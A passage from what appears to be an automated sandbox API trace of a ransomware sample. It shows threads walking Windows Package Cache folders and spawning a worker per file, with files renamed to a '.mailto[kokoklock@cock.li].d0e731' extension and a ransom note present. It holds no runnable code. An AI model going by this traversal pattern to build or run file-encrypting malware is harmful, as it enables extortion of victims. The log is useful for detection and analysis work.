nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.217] wcscmp (_String1="..", _String2=".") returned 1 [0169.217] wcscmp (_String1="..", _String2="..") returned 0 [0169.217] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87984791, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87984791, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87984791, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0169.217] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0169.217] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0169.217] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x87984791, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STATER~1.D0E")) returned 1 [0169.217] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.217] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.217] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4d00 [0169.217] wcscpy (in: _Dest=0x2fc4d00, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0169.217] wcscat (in: _Dest=0x2fc4d00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0169.217] wcscat (in: _Dest=0x2fc4d00, _Source="state.rsm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0171.054] Sleep (dwMilliseconds=0x1) [0171.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0171.156] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x879cfe8b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x711a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VCREDI~1.D0E")) returned 1 [0171.156] wcscmp (_String1="vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.156] wcscmp (_String1="vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.156] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f84c18 [0171.156] wcscpy (in: _Dest=0x2f84c18, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0171.156] wcscat (in: _Dest=0x2f84c18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0171.156] wcscat (in: _Dest=0x2f84c18, _Source="vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" [0171.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84c18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0171.167] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x879cfe8b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x711a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VCREDI~1.D0E")) returned 0 [0171.168] FindClose (in: hFindFile=0x2f803e0 | out: hFindFile=0x2f803e0) returned 1 [0171.168] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2d18) returned 1 [0171.168] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2a98) returned 1 [0171.168] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe55f8) returned 1 [0171.168] RtlExitUserThread (Status=0x0) Thread: id = 1787 os_tid = 0xeb0 [0169.218] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f83e68 [0169.218] wcscpy (in: _Dest=0x2f83e68, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0169.218] wcscat (in: _Dest=0x2f83e68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0169.218] wcscat (in: _Dest=0x2f83e68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*" [0169.218] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1038 [0169.218] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f804a0 [0169.219] wcscmp (_String1=".", _String2=".") returned 0 [0169.219] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.219] wcscmp (_String1="..", _String2=".") returned 1 [0169.219] wcscmp (_String1="..", _String2="..") returned 0 [0169.219] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.219] wcscmp (_String1="packages", _String2=".") returned 1 [0169.219] wcscmp (_String1="packages", _String2="..") returned 1 [0169.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x2f6a4a8 [0169.219] wcscpy (in: _Dest=0x2f6a4a8, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0169.219] wcscat (in: _Dest=0x2f6a4a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0169.219] wcscat (in: _Dest=0x2f6a4a8, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0171.054] Sleep (dwMilliseconds=0x1) [0171.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6a4a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0171.153] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.153] FindClose (in: hFindFile=0x2f804a0 | out: hFindFile=0x2f804a0) returned 1 [0171.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1038) returned 1 [0171.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83e68) returned 1 [0171.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ee40) returned 1 [0171.154] RtlExitUserThread (Status=0x0) Thread: id = 1788 os_tid = 0xeb4 [0169.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f83f20 [0169.219] wcscpy (in: _Dest=0x2f83f20, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0169.219] wcscat (in: _Dest=0x2f83f20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0169.219] wcscat (in: _Dest=0x2f83f20, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*" [0169.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0169.220] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80520 [0169.220] wcscmp (_String1=".", _String2=".") returned 0 [0169.220] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.220] wcscmp (_String1="..", _String2=".") returned 1 [0169.220] wcscmp (_String1="..", _String2="..") returned 0 [0169.220] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.220] wcscmp (_String1="packages", _String2=".") returned 1 [0169.221] wcscmp (_String1="packages", _String2="..") returned 1 [0169.221] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x2f63a70 [0169.221] wcscpy (in: _Dest=0x2f63a70, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0169.221] wcscat (in: _Dest=0x2f63a70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0169.221] wcscat (in: _Dest=0x2f63a70, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0171.054] Sleep (dwMilliseconds=0x1) [0171.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f63a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0171.151] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.152] FindClose (in: hFindFile=0x2f80520 | out: hFindFile=0x2f80520) returned 1 [0171.152] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0171.152] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83f20) returned 1 [0171.152] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e130) returned 1 [0171.152] RtlExitUserThread (Status=0x0) Thread: id = 1789 os_tid = 0xeb8 [0169.221] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f84090 [0169.221] wcscpy (in: _Dest=0x2f84090, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0169.221] wcscat (in: _Dest=0x2f84090, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0169.221] wcscat (in: _Dest=0x2f84090, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*" [0169.221] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1508 [0169.221] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80560 [0169.222] wcscmp (_String1=".", _String2=".") returned 0 [0169.222] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.222] wcscmp (_String1="..", _String2=".") returned 1 [0169.222] wcscmp (_String1="..", _String2="..") returned 0 [0169.222] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.222] wcscmp (_String1="packages", _String2=".") returned 1 [0169.222] wcscmp (_String1="packages", _String2="..") returned 1 [0169.222] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x2f6bff8 [0169.222] wcscpy (in: _Dest=0x2f6bff8, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0169.222] wcscat (in: _Dest=0x2f6bff8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0169.222] wcscat (in: _Dest=0x2f6bff8, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0171.054] Sleep (dwMilliseconds=0x1) [0171.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6bff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0171.150] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.150] FindClose (in: hFindFile=0x2f80560 | out: hFindFile=0x2f80560) returned 1 [0171.150] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1508) returned 1 [0171.150] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84090) returned 1 [0171.150] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6dc60) returned 1 [0171.150] RtlExitUserThread (Status=0x0) Thread: id = 1790 os_tid = 0xebc [0169.223] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f84200 [0169.223] wcscpy (in: _Dest=0x2f84200, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0169.223] wcscat (in: _Dest=0x2f84200, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0169.223] wcscat (in: _Dest=0x2f84200, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" [0169.223] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1770 [0169.223] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f805a0 [0169.224] wcscmp (_String1=".", _String2=".") returned 0 [0169.224] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.224] wcscmp (_String1="..", _String2=".") returned 1 [0169.224] wcscmp (_String1="..", _String2="..") returned 0 [0169.224] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.224] wcscmp (_String1="packages", _String2=".") returned 1 [0169.224] wcscmp (_String1="packages", _String2="..") returned 1 [0169.224] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x30243d0 [0169.224] wcscpy (in: _Dest=0x30243d0, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0169.224] wcscat (in: _Dest=0x30243d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0169.224] wcscat (in: _Dest=0x30243d0, _Source="packages" | out: 